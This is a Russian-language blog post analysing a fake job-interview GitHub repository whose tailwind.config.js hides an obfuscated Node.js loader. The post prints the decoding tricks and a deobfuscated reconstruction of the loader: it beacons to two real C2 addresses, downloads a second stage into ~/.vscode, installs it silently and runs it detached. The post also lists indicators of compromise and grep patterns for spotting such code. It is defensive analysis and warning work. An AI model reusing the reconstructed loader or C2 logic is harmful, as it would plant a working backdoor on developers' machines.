TL;DR:
В GitHub-репозитории для тестового задания был вредоносный код, спрятанный в tailwind.config.js. Сначала файл выглядел как обычный Tailwind-конфиг, но в конце была длинная обфусцированная JS-строка. При загрузке конфига код подключал fs, os, request, path, node:process и child_process, связывался с C2 на 78.142.218.26:1244 или 66.235.168.17:1244, отправлял минимальный фингерпринт машины, скачивал второй payload в ~/.vscode/f.js, создавал ~/.vscode/package.json, выполнял npm install и запускал payload в фоне через node/nohup. Иными словами, это был не обычный тестовый проект, а loader/downloader, замаскированный под frontend-задание.
Социальная часть
В LinkedIn мне написал некто, представившийся как Renz Andrey Barrion, с предложением работы. Страница уже удалена. Немного смутила подпись: «Project Manager at Bext360» (не утверждаю, что Bext360 причастна к нижеизложенному). Показалось странным, что пишет проджект, а не HR. Но да ладно, мало ли какие процедуры найма могут быть.
Renz сообщил, что в его компанию требуется Senior Front End Developer на неплохих условиях. Я скинул резюме, он расспросил об опыте, подробно описал процесс найма и предложил пройти тестовое, с чем я согласился – в последнее время какой-то ренессанс тестовых. Ренц скинул ссылку на https://github.com/Stash-Home/Home-assignment-u (тоже уже удалена).
При скачивании я обратил внимание на размер репозитория – больше 5 мегабайт, что как бы очень много для репы с тестовым заданием (понятно, что могут быть изображения, но все равно). Дополнительно удивило отсутствие форков: обычно тестовые репозитории форкаются кандидатами. Отсутствие форков нетипично для таких репозиториев.
Начал разбираться и обнаружил вот что.
На последней строчке tailwind.config.js была замаскированная большим количеством пробелов обфусцированная строка:
const a0ag=a0a1,a0ah=a0a1,...
Интересно, что же это такое?
Как устроена обфускация
В начале был массив base64-строк:
function a0a0() { const bm = ['AM9PBG','ywnisNy','wgDkCKO', ...] ...}
Далее массив циклически сдвигался до тех пор, пока выражение с parseInt(...) не даст нужное число:
(function(a0,a1){ const a2 = a0(); while (!![]) { try { const a3 = ...; if (a3 === a1) break; else a2.push(a2.shift()); } catch { a2.push(a2.shift()); } }}(a0a0, 0x7e0c4));
Цель этого – запутать соответствие индексов и строк.
Затем функция a0a1(...) достаёт строку из массива и декодирует её, что упрощённо выглядит так:
function decodeFromStringTable(index) { const shiftedIndex = index - 0x113; const encoded = stringTable[shiftedIndex]; return base64DecodeURIComponent(encoded);}
И мы получаем, например:
a0a1(0x137) => "utf8"a0a1(0x182) => "base6"a0a1(0x171) => "from"a0a1(0x125) => "toStr"a0a1(0x126) => "ing"
И потом собираем это:
Buffer.from(..., 'base64').toString('utf8')
Ещё один декодер отрезает первый мусорный символ, а остаток декодирует как base64:
function n(value) { const withoutFirstChar = value.slice(1); return Buffer.from(withoutFirstChar, 'base64').toString('utf8');}
Например:
n('ab3M') => 'os'n('bZnM') => 'fs'n('DcmVxdWVzdA') => 'request'n('NcGF0aA') => 'path'n('Xbm9kZTpwc...') => 'node:process'n('4Y2hpbGRf') + n('acHJvY2Vzcw') => 'child_process'
Некоторые строки спрятаны как массивы чисел и к ним применяется XOR с ключом:
const S = [0x70, 0xa0, 0x89, 0x48];function U(arr) { let result = ''; for (let i = 0; i < arr.length; i++) { result += String.fromCharCode((arr[i] ^ S[i & 3]) & 0xff); } return result;}
что даёт после расшифровки:
U([0x5e,0xd6,0xfa,0x2b,0x1f,0xc4,0xec]) => ".vscode"U([0x16,0x8e,0xe3,0x3b]) => "f.js"U([0x0,0xc1,0xea,0x23,0x11,0xc7,0xec,0x66,0x1a,0xd3,0xe6,0x26]) => "package.json"U([0x5f,0xc6,0xa6]) => "/f/"U([0x5f,0xd0]) => "/p"U([0x13,0xc4]) => "cd"U([0x56,0x86,0xa9,0x26,0x0,0xcd,0xa9,0x21,0x50,0x8d,0xa4,0x3b,0x19,0xcc,0xec,0x26,0x4]) => "&& npm i --silent"U([0x1e,0xd0,0xe4,0x68,0x5d,0x8d,0xf9,0x3a,0x15,0xc6,0xe0,0x30]) => "npm --prefix"U([0x1e,0xcf,0xed,0x2d,0x2f,0xcd,0xe6,0x2c,0x5,0xcc,0xec,0x3b]) => "node_modules"U([0x1e,0xcf,0xe1,0x3d,0x0]) => "nohup"
После деобфускации ключевая часть выглядит примерно так:
const os = require('os');const fs = require('fs');const request = require('request');const path = require('path');const process = require('node:process');const child_process = require('child_process');const homeDir = os.homedir();const hostname = os.hostname();const platform = os.platform();const userInfo = os.userInfo();const primaryC2 = 'http://78.142.218.26:1244';const fallbackC2 = 'http://66.235.168.17:1244';const campaignId = '90284f6b7643';
Упрощённый псевдокод вредоноса
Это упрощённая реконструкция логики (C2 в тексте это «Command and Control», то есть сервер командования и управления):
/** * Entry point вредоносного кода. * * Инициализирует timestamp текущего запуска и начинает первый этап связи * с управляющим сервером. * * В оригинальном коде эта функция вызывается сразу при загрузке * `tailwind.config.js`, то есть во время dev/build процесса. * * Поведение: * 1. Сохраняет время запуска. * 2. Пытается связаться с основным C2-сервером. * 3. При ошибке дальше сработает fallback-логика. * * @returns {void} */function main() { timestamp = Date.now().toString(); tryHandshake(0);}/** * Пытается выполнить первичный handshake с сервером. * * Функция отправляет GET-запрос на `/s/<campaignId>`. * Первый вызов идёт на основной сервер. Если основной сервер недоступен, * код пробует fallback. * * Этот этап нужен вредоносу, чтобы получить актуальный адрес сервера * и тип payload, который нужно скачать. * * @param {number} index * Индекс сервера в списке. * `0` — основной сервер. * `1` — fallback-сервер. * * @returns {void} */function tryHandshake(index) { const url = `${C2[index]}/s/${campaignId}`; request.get(url, (error, response, body) => { if (error) { if (index < 1) { tryHandshake(1); } return; } if (!parseServerResponse(body)) { return; } reportHost(); downloadAndRunPayload(); });}/** * Разбирает ответ C2-сервера после handshake-запроса. * * Оригинальный код ожидает, что ответ начинается с маркера `ZT3`. * Всё, что идёт после `ZT3`, декодируется из base64. * * После декодирования вредонос ожидает строку примерно такого формата: * * `<host>,<type>` * * Где: * - `host` — актуальный C2-host, с которого дальше будут скачиваться payload и package.json. * - `type` — идентификатор или вариант payload. * * Если формат ответа не подходит, функция возвращает `false`, * и дальнейшее выполнение прекращается. * * @param {string} body * Тело HTTP-ответа. * * @returns {boolean} * `true`, если ответ успешно разобран и глобальные значения `baseUrl` и `type` установлены. * `false`, если ответ не похож на ожидаемый C2-ответ. */function parseServerResponse(body) { if (!body.startsWith('ZT3')) { return false; } const encoded = body.slice(3); const decoded = Buffer.from(encoded, 'base64').toString('utf8'); const parts = decoded.split(','); baseUrl = `http://${parts[0]}:1244`; type = parts[1]; return true;}/** * Отправляет информацию о заражённой машине на сервер злоумышленников. * * Функция делает POST-запрос на `/keys` и передаёт набор данных, * по которым оператор вредоноса может идентифицировать машину и контекст запуска. * * В отправляемые данные входят: * - timestamp запуска; * - тип payload, полученный от C2; * - hostname; * - username на macOS; * - путь или аргумент процесса, из которого был запущен код. * * Название `/keys` может вводить в заблуждение: по поведению это больше похоже * на регистрацию infected host/beaconing, а не обязательно на отправку * криптографических ключей. * * @returns {void} */function reportHost() { let hostId = hostname; if (platform[0] === 'd') { hostId = `${hostId}+${userInfo.username}`; } let commandContext = '5A1'; try { commandContext += process.argv[1]; } catch {} request.post({ url: `${baseUrl}/keys`, formData: { ts: timestamp, type, hid: hostId, ss: 'oqr', cc: commandContext, }, });}/** * Скачивает второй этап вредоноса и готовит его к запуску. * * Функция создаёт директорию `~/.vscode`, если её ещё нет. * Затем скачивает JS-payload с C2 и сохраняет его как `f.js`. * * Использование `~/.vscode` выглядит как попытка маскировки: * такая папка может показаться разработчику нормальной частью окружения * VS Code/Cursor. * * Если создать `~/.vscode` не удалось, код использует домашнюю директорию * пользователя как fallback. * * @returns {void} */function downloadAndRunPayload() { let targetDir = path.join(homeDir, '.vscode'); try { fs.mkdirSync(targetDir, { recursive: true }); } catch { targetDir = homeDir; } const payloadPath = path.join(targetDir, 'f.js'); try { fs.rmSync(payloadPath); } catch {} request.get(`${baseUrl}/f/${type}`, (error, response, body) => { if (error) return; try { fs.writeFileSync(payloadPath, body); } catch {} downloadPackageJson(targetDir); });}/** * Скачивает `package.json` для созданного вредоносом локального npm-проекта. * * После скачивания `f.js` вредонос также скачивает `package.json` * с C2 endpoint `/p`. * * Это нужно для установки зависимостей, которые потребуются скачанному payload. * То есть вредонос создаёт отдельный npm-проект внутри `~/.vscode`. * * В оригинальной логике есть сравнение размера: * если уже существующий `package.json` меньше нового тела ответа, * файл перезаписывается. * * @param {string} targetDir * Директория, куда ранее был сохранён `f.js`. * Обычно это `~/.vscode`. * * @returns {void} */function downloadPackageJson(targetDir) { const packagePath = path.join(targetDir, 'package.json'); let oldSize = 0; if (fs.existsSync(packagePath)) { try { oldSize = fs.statSync(packagePath).size; } catch {} } request.get(`${baseUrl}/p`, (error, response, body) => { if (error) return; try { if (body.length > oldSize) { fs.writeFileSync(packagePath, body); } } catch {} installDependencies(targetDir); });}/** * Запускает установку npm-зависимостей для скачанного payload. * * Функция выполняет команду вида: * * `cd "<targetDir>" && npm i --silent` * * Это означает, что вредонос пытается установить зависимости * из скачанного `package.json` без явного вывода в консоль. * * Флаг `windowsHide: true` на Windows скрывает окно процесса, * что является дополнительным признаком скрытного поведения. * * После завершения установки вызывается проверка `node_modules` * и запуск payload. * * @param {string} targetDir * Директория локального npm-проекта, созданного вредоносом. * * @returns {void} */function installDependencies(targetDir) { child_process.exec( `cd "${targetDir}" && npm i --silent`, { windowsHide: true }, () => { ensureNodeModulesAndRun(targetDir); }, );}/** * Проверяет наличие `node_modules` и при необходимости повторяет установку зависимостей. * * Если после первой команды `npm i --silent` директория `node_modules` * не появилась, вредонос запускает альтернативную команду: * * `npm --prefix "<targetDir>" i` * * Это повышает шанс успешной установки зависимостей в разных окружениях. * * Если `node_modules` уже существует или повторная установка завершилась, * функция переходит к запуску payload. * * @param {string} targetDir * Директория, где лежат `f.js`, `package.json` и потенциальный `node_modules`. * * @returns {void} */function ensureNodeModulesAndRun(targetDir) { const nodeModules = path.join(targetDir, 'node_modules'); if (!fs.existsSync(nodeModules)) { child_process.exec( `npm --prefix "${targetDir}" i`, { windowsHide: true }, () => runPayload(targetDir), ); } else { runPayload(targetDir); }}/** * Запускает скачанный `f.js` как отдельный фоновый процесс. * * Поведение отличается по платформам: * * На Windows: * - запускается текущий Node.js runtime через `process.execPath`; * - аргументом передаётся `f.js`; * - рабочая директория — `targetDir`; * - окно процесса скрывается через `windowsHide: true`; * - stdio игнорируется. * * На Linux/macOS: * - используется `nohup`; * - процесс запускается detached; * - stdin/stdout/stderr перенаправляются в ignore или `/dev/null`; * - после `unref()` процесс отвязывается от родителя. * * Итог: payload может продолжить работу даже после завершения npm/build-процесса, * который изначально загрузил `tailwind.config.js`. * * @param {string} targetDir * Директория, из которой будет запущен `f.js`. * * @returns {void} */function runPayload(targetDir) { if (platform[0] === 'w') { const child = child_process.spawn( process.execPath, ['f.js'], { cwd: targetDir, stdio: 'ignore', windowsHide: true, }, ); child.unref(); } else { const child = child_process.spawn( 'nohup', [process.execPath, 'f.js'], { cwd: targetDir, detached: true, stdio: ['ignore', '/dev/null', '/dev/null'], }, ); child.unref(); }}
Что же тут происходит?
Сначала делается запрос на:
http://78.142.218.26:1244/s/90284f6b7643// фоллбек наhttp://66.235.168.17:1244/s/90284f6b7643
После декодирования ожидается строка вида:
<host>,<type>
Условно
example.com,abc
Тогда вредонос строит:
http://example.com:1244
И сохраняет
type = "abc"
Информация о жертве отправляется на:
http://<host>:1244/keys
С примерно такими данными:
{ ts: Date.now().toString(), // timestamp запуска type: typeFromServer, // тип/идентификатор payload, полученный от C2 hid: hostnameOrHostnamePlusUsername, // host identifier ss: 'oqr', // константа "oqr", вероятно, маркер кампании или версии cc: '5A1' + process.argv[1] // строка "5A1" + путь к текущему скрипту/процессу}
Интересный момент:
if (platform[0] === 'd') { hid = hostname + '+' + username;}
os.platform() возвращает:
win32linuxdarwin
То есть username добавляется именно для macOS (darwin).
Затем происходит попытка создать директорию:
~/.vscode
А если не получается, используется просто домашняя папка:
let targetDir = path.join(os.homedir(), '.vscode');try { fs.mkdirSync(targetDir, { recursive: true });} catch { targetDir = os.homedir();}
Почему .vscode? Это хороший выбор для атаки. Такая папка выглядит привычно для разработчика и не бросается в глаза рядом с расширениями VS Code или Cursor.
Затем происходит скачивание:
http://<host>:1244/f/<type>
И payload записывается в ~/.vscode/f.js.
Затем данные с http://<host>:1244/p скачиваются и записываются в ~/.vscode/package.json.
Далее устанавливаются зависимости:
cd "~/.vscode" && npm i --silentnpm --prefix "~/.vscode" i
Это важно: код не просто скачивает f.js, а ещё и подготавливает отдельный npm-проект внутри домашней папки пользователя. То есть создаётся самостоятельный Node.js-проект вне репозитория. Даже если потом удалить папку с тестовым заданием, ~/.vscode/f.js и ~/.vscode/node_modules могут остаться в домашней папке. При этом основная логика вредоноса находится уже не в исходном репозитории, а в файле, скачанном на втором этапе.
Затем payload запускается в фоне:
// на Windowschild_process.spawn(process.execPath, ['f.js'], { cwd: targetDir, stdio: 'ignore', windowsHide: true,});// на Linux/MacOschild_process.spawn('nohup', [process.execPath, 'f.js'], { cwd: targetDir, detached: true, stdio: ['ignore', '/dev/null', '/dev/null'],});
И после этого процесс отвязывается от родительского процесса и продолжает жить отдельно:
child.unref();
Есть небольшой интервал (10 минут 16 секунд), с которым вредонос пытается скачать данные, если сервер временно недоступен. Через несколько попыток интервал очищается.
Что же отправляется?
Кажется, что отправляется не так много. os.userInfo() возвращает примерно такой объект:
{ username: "john", uid: 1000, gid: 1000, shell: "/bin/bash", homedir: "/home/john"}
Но на первом этапе используется только userInfo.username, и то только если платформа macOS. На Linux/Windows username не добавляется.
И хотя код отправляет не так много, сервер всё равно видит сетевые метаданные:
-
source IP address;
-
время подключения;
-
порт назначения;
-
HTTP path;
-
возможные HTTP headers от Node request library.
Кроме того, первый handshake идёт на GET /s/90284f6b7643, что позволяет понять, из какого репозитория пришёл запуск.
На первом этапе нет прямого чтения SSH-ключей, .env-файлов, cookies, browser profiles, GitHub tokens или содержимого проектов. Но он скачивает f.js, внутри которого, по-видимому, и будет содержаться основная вредоносная логика.
Иными словами, видимый код в tailwind.config.js – это не полноценный похититель данных, а загрузчик. Он отправляет минимальный фингерпринт машины и запускает второй этап, который уже может выполнить основной сбор данных.
Что ещё было подозрительно в репозитории?
В package.json были такие зависимости:
"child_process": "^1.0.2","crypto": "^1.0.1","fs": "^0.0.1-security","path": "^0.12.7"
Это core-модули Node.js. В нормальном проекте их не ставят из npm.
Какие выводы и уроки?
Никогда не запускайте чужой проект сразу. Опасными могут быть даже:
npm installnpm ciyarnpnpm install
Перед запуском попробуйте поискать опасные паттерны:
grep -RInE \ "child_process|execSync|spawn|eval\(|Function\(|atob\(|Buffer\.from|curl|wget|powershell|EncodedCommand|nohup|/dev/null|\.vscode|AppData|os\.homedir|os\.userInfo|request\(|fetch\(|http://|https://" \ . \ --exclude-dir=node_modules \ --exclude-dir=.git \ --exclude-dir=dist \ --exclude-dir=build
Проверяйте package.json на подозрительные зависимости:
"preinstall": "...","install": "...","postinstall": "...","prepare": "...","child_process": "...","fs": "...","path": "...","crypto": "..."
Как уже говорилось, это core-модули Node.js, в нормальном проекте они не должны быть npm-зависимостями.
Устанавливайте зависимости только с отключёнными lifecycle-скриптами:
npm ci --ignore-scriptsnpm install --ignore-scriptspnpm install --ignore-scriptsyarn install --ignore-scripts
Но помните, флаг —ignore-scripts защищает только от npm lifecycle-скриптов. Он не защитит, если потом вы запускаете npm run dev, а dev-сервер загружает вредоносный tailwind.config.js, vite.config.js, webpack.config.js, nuxt.config.ts и т.д. Не забывайте, что эти конфиги – это не просто JSON-настройки. Это JS/TS-код, который выполняется Node.js во время dev/build. Поэтому вредонос в таком файле может выполниться без отдельного явного запуска.
Вообще, лучше запускать чужие проекты на отдельной виртуальной машине или отдельном WSL в изолированной среде.
Не открывайте чужой проект в IDE сразу в доверенном режиме, а помечайте его как untrusted.
Можно сделать в чужом проекте быстрый поиск IP/URL, так как их наличие в config-файлах, особенно на нестандартных портах – это сильный красный флаг:
rg -n \ "https?://|[0-9]{1,3}(\.[0-9]{1,3}){3}|localhost|127\.0\.0\.1|webhook|telegram|discord|ngrok|pastebin|gist|raw\.githubusercontent" \ -g '!node_modules' \ -g '!.git'
Критически оцените GitHub-аккаунт, с которого качаете. На странице https://github.com/Stash-Home виден странный набор проектов: serenity, typst, fontations, zune-image, blend2d-apps, cmap-resources, covbot, learning-php и т.д. Многие из них выглядят как копии известных open-source проектов, а не как собственные проекты. Например, serenity описан как “The Serenity Operating System”, содержит 66 605 коммитов, но у него аж целых 0 звёзд и 0 форков. Это должно вас насторожить.
Я не могу утверждать, был ли аккаунт Stash-Home изначально создан злоумышленником или был скомпрометирован. Но публичные признаки выглядят подозрительно: много копий известных проектов, нулевая социальная активность, следы однотипных automated update-коммитов.
Ну и обращайте внимание на размер скачанного репозитория 🙂
Ну а если вы всё же запустили такой проект, то:
-
Отключите интернет или закройте подозрительные процессы;
-
Проверьте
~/.vscode/f.jsи~/.vscode/package.json; -
Проверьте процессы node/npm/powershell/cmd;
-
Проверьте автозапуск и scheduled tasks;
-
Смените токены, которые могут быть доступны: GitHub, GitLab, npm, SSH, cloud credentials и т.д.;
-
Запустите полную проверку антивирусом/защитником.
P.S. На всякий случай вот хэши архива репозитория и файла конфига:
Archive SHA256:4ab54628c32954056033146013ec962fa3e52a1f261f69ce526c71793a6d6e13tailwind.config.js SHA256:b19ed4f3161fdf569309272fff3fa3fbf46eab7a142b314244a363a1d552f4deC2:78.142.218.26:124466.235.168.17:1244Paths:~/.vscode/f.js~/.vscode/package.json
P.P.S. Пользуясь случаем, хочу сказать то, что касается нас как сообщество разработчиков. Тестовые задания – это зло и пережиток царского прошлого. Сегодня они почти ничего не позволяют оценить. Они отнимают наше время, которое мы могли бы потратить на собственные проекты и развитие. То, что я согласился выполнить это тестовое, меня не красит. Впрочем, я его и не выполнил. И чем больше мы, разработчики, будем отказываться выполнять тестовые задания, тем быстрее эта порочная практика окончательно уйдёт в прошлое. ИМХО, бойкот тестовых заданий – это благо для нас как для профессионального сообщества.
ссылка на оригинал статьи https://habr.com/ru/articles/1033468/